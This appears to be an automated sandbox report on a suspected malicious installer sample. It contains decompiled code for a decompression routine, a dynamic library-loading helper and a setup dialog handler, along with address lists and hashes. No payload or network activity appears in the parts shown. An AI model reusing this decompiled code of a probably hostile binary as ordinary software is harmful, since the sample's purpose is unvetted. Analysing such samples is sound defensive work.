									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x0040604c
0x0040604c
0x00406051
0x004060c8
0x004060cf
0x004060d9
0x004066b8
0x004066b8
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x0040672e
0x0040672e
0x00406734
0x00406734
0x00000000
0x00406709
0x00406709
0x0040670d
0x004068bc
0x00000000
0x004068bc
0x00406719
0x00406720
0x00406728
0x0040672b
0x00000000
0x0040672b
0x00406053
0x00406053
0x00406057
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406078
0x0040607f
0x00406082
0x0040608d
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x0040609c
0x004060ba
0x004060bc
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062e1
0x004062e4
0x00406287
0x0040628d
0x00000000
0x00000000
0x00000000
0x004062e6
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406284
0x00000000
0x00406284
0x0040609e
0x0040609e
0x004060a1
0x004060a7
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406190
0x00406193
0x0040610a
0x0040610a
0x00406110
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x0040621d
0x00406220
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061c0
0x004061c0
0x00406220
0x00406227
0x00406227
0x00406227
0x0040622b
0x0040622b
0x0040622e
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x004063f7
0x004063f7
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040611c
0x00000000
0x00000000
0x00000000
0x00406199
0x004060e5
0x004060e9
0x00406856
0x004068d2
0x004068da
0x004068e1
0x004068e3
0x004068ea
0x004068ee
0x004068ee
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406107
0x00000000
0x00406107
0x00406193
0x0040609c
0x00405ed0
0x00405ed0
0x00405ed9
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00405edf
0x00000000
0x00405eea
0x00000000
0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004062eb
0x004062ef
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x00000000
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x00000000
0x00000000
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00406409
0x0040640d
0x00406414
0x00406417
0x0040641a
0x00406424
0x00000000
0x00406424
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00406343
0x00406343
0x00406346
0x00000000
0x00000000
0x00406682
0x00406686
0x004066a8
0x004066ab
0x004066b5
0x00000000
0x004066b5
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x00000000
0x00406776
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406833
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00000000
0x00406828
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067d8
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x0040680a
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00000000
0x004064af
0x004064b2
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x00000000
0x0040667d
0x0040667b
0x004068b0
0x00000000
0x00000000
0x00405edf

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8718c5171febd1f94c1c08a97aa2274874a9074e7d0b720a207e81be49f5868
Instruction ID: f98c46a7d4a45b1e93054ee16d037c4b99b117d06cd84a33c86e8ff0b6c30e47
Opcode Fuzzy Hash: b8718c5171febd1f94c1c08a97aa2274874a9074e7d0b720a207e81be49f5868
Instruction Fuzzy Hash: 83F18771D00229CBDF18DFA8C8946ADBBB1FF44305F25816ED856BB281D3785A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405DA3 Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DA3(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409218);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x40921c));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405dab
0x00405dae
0x00405db5
0x00405dbd
0x00405dca
0x00000000
0x00405dd1
0x00405dc0
0x00405dc8
0x00000000
0x00000000
0x00405dd9

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,00403268,00000008), ref: 00405DB5
LoadLibraryA.KERNEL32(?), ref: 00405DC0
GetProcAddress.KERNEL32(00000000,?,?,00000000,00403268,00000008), ref: 00405DD1

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: dcb02677a219034efdab4e35853fb1e5d97da29e7b116a2417b6d6f34bb30324
Instruction ID: 37252885b6730f192407f0687863edf929784b14cf5d3781349e011cb12c2895
Opcode Fuzzy Hash: dcb02677a219034efdab4e35853fb1e5d97da29e7b116a2417b6d6f34bb30324
Instruction Fuzzy Hash: F7E0C232A04610ABC6114B709D489BB77BCEFE9B41300897EF545F6290C734AC229FFA

Uniqueness

Uniqueness Score: -1.00%

Function 00403964 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403964(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				intOrPtr _t44;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t141;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42047c = _t35;
					if(_t115 == 0x110) {
						 *0x423ea8 = _t125;
						 *0x420490 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f458 = _t91;
						E00403E37(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423688);
						 *0x42366c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42047c = 1;
					}
					_t122 =  *0x4091bc; // 0x0
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423ec0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403E83(0x40b);
						while(1) {
							_t37 =  *0x42047c;
							 *0x4091bc =  *0x4091bc + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091bc; // 0x0
							__eflags = _t39 -  *0x423ec4; // 0x2
							if(__eflags == 0) {
								E0040140B(1);
							}
							__eflags =  *0x42366c - _t133; // 0x7fffffff
							if(__eflags != 0) {
								break;
							}
							_t44 =  *0x423ec4; // 0x2
							__eflags =  *0x4091bc - _t44; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405AA7(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403E37(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403E37(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403E37(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423f2c - _t133; // 0x0
							_v32 = _t49;
							if(__eflags != 0) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403E59(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f458, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423f2c - _t133; // 0x0
							if(__eflags == 0) {
								_push( *0x420490);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f458);
							}
							E00403E6C();
							E00405A85(0x420498, "fwwmjbqpxzax Setup");
							E00405AA7(0x420498, _t125, _t130,  &(0x420498[lstrlenA(0x420498)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420498);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423678);
									 *0x41fc68 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423ea0,  *_t130 +  *0x423680 & 0x0000ffff, _t125,  *(0x4091c0 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423678 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403E37(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423678, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42366c - _t133; // 0x7fffffff
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423678, 8);
									E00403E83(0x405);
									goto L58;
								}
								__eflags =  *0x423f2c - _t133; // 0x0
								if(__eflags != 0) {
									goto L61;
								}
								__eflags =  *0x423f20 - _t133; // 0x0
								if(__eflags != 0) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423678); // executed
						 *0x423ea8 = _t133;
						EndDialog(_t125,  *0x41f860);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423678, 0x40f, 0, 1);
						__eflags =  *0x42366c - _t133; // 0x7fffffff
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420470, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420470,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403E9E(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423678, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423f2c - _t133; // 0x0
										if(__eflags == 0) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f860 = 1;
											L21:
											_push(0x78);
											L22:
											E00403E10();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f860 = _t127;
										goto L21;
									}
									__eflags =  *0x4091bc - _t133; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423678);
						 *0x423678 = _a12;
						L58:
						_t141 =  *0x421498 - _t133; // 0x0
						if(_t141 == 0) {
							_t142 =  *0x423678 - _t133; // 0x0
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa);
								 *0x421498 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x0040396d
0x00403976
0x00403ab7
0x00403abb
0x00403abf
0x00403ac1
0x00403ac6
0x00403ad1
0x00403adc
0x00403ae1
0x00403ae3
0x00403ae5
0x00403ae8
0x00403aed
0x00403afb
0x00403b08
0x00403b0f
0x00403b0f
0x00403b10
0x00403b10
0x00403b15
0x00403b1b
0x00403b22
0x00403b28
0x00403b2a
0x00403b6a
0x00403b6f
0x00403b74
0x00403b74
0x00403b79
0x00403b82
0x00403b84
0x00403b89
0x00403b8f
0x00403b93
0x00403b93
0x00403b98
0x00403b9e
0x00000000
0x00000000
0x00403ba4
0x00403ba9
0x00403baf
0x00000000
0x00000000
0x00403bb8
0x00403bc0
0x00403bc5
0x00403bc8
0x00403bce
0x00403bd3
0x00403bd6
0x00403bdc
0x00403be1
0x00403be4
0x00403bea
0x00403bf2
0x00403bf8
0x00403bfe
0x00403c02
0x00403c09
0x00403c09
0x00403c09
0x00403c13
0x00403c25
0x00403c31
0x00403c36
0x00403c40
0x00403c46
0x00403c48
0x00403c4d
0x00403c4a
0x00403c4a
0x00403c4a
0x00403c5d
0x00403c75
0x00403c77
0x00403c7d
0x00403c92
0x00403c7f
0x00403c88
0x00403c8a
0x00403c8a
0x00403c98
0x00403ca8
0x00403cb9
0x00403cc0
0x00403cc6
0x00403cca
0x00403ccf
0x00403cd1
0x00000000
0x00403cd7
0x00403cd7
0x00403cd9
0x00000000
0x00000000
0x00403cdf
0x00403ce3
0x00403d08
0x00403d0e
0x00403d14
0x00403d16
0x00000000
0x00000000
0x00403d3c
0x00403d42
0x00403d44
0x00403d49
0x00000000
0x00000000
0x00403d4f
0x00403d52
0x00403d55
0x00403d6c
0x00403d78
0x00403d91
0x00403d97
0x00403d9b
0x00403da0
0x00403da6
0x00000000
0x00000000
0x00403db0
0x00403dbb
0x00000000
0x00403dbb
0x00403ce5
0x00403ceb
0x00000000
0x00000000
0x00403cf1
0x00403cf7
0x00000000
0x00000000
0x00000000
0x00403cfd
0x00403cd1
0x00403dc8
0x00403dd4
0x00403ddb
0x00000000
0x00403b2c
0x00403b2c
0x00403b2f
0x00403b62
0x00403b62
0x00403b64
0x00000000
0x00000000
0x00000000
0x00403b64
0x00403b31
0x00403b35
0x00403b3a
0x00403b3c
0x00000000
0x00000000
0x00403b4c
0x00403b54
0x00000000
0x00403b5a
0x00403988
0x00403988
0x0040398c
0x00403991
0x004039a0
0x004039a0
0x004039a9
0x004039b2
0x004039bd
0x004039bd
0x004039c9
0x004039e5
0x004039e8
0x004039fb
0x00403a01
0x00403aa4
0x00000000
0x00403aad
0x00403a07
0x00403a14
0x00403a16
0x00403a18
0x00403a37
0x00403a37
0x00403a3a
0x00403a3f
0x00403a42
0x00403a52
0x00403a53
0x00403a55
0x00403a8b
0x00403a9e
0x00000000
0x00403a9e
0x00403a57
0x00403a5d
0x00403a76
0x00403a7b
0x00403a7d
0x00000000
0x00000000
0x00403a7f
0x00403a6b
0x00403a6b
0x00403a6d
0x00403a6d
0x00000000
0x00403a6d
0x00403a60
0x00403a65
0x00000000
0x00403a65
0x00403a44
0x00403a4a
0x00000000
0x00000000
0x00403a4c
0x00000000
0x00403a4c
0x00403a3c
0x00000000
0x00403a3c
0x00403a22
0x00403a29
0x00403a2f
0x00403a31
0x00000000
0x00000000
0x00000000
0x00403a31
0x004039ed
0x00000000
0x004039cb
0x004039d1
0x004039db
0x00403de1
0x00403de1
0x00403de7
0x00403de9
0x00403def
0x00403df4
0x00403dfa
0x00403dfa
0x00403def
0x00403e04
0x00000000
0x00403e04
0x004039c9

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039A0
ShowWindow.USER32(?), ref: 004039BD
DestroyWindow.USER32 ref: 004039D1
SetWindowLongA.USER32 ref: 004039ED
GetDlgItem.USER32(?,?), ref: 00403A0E
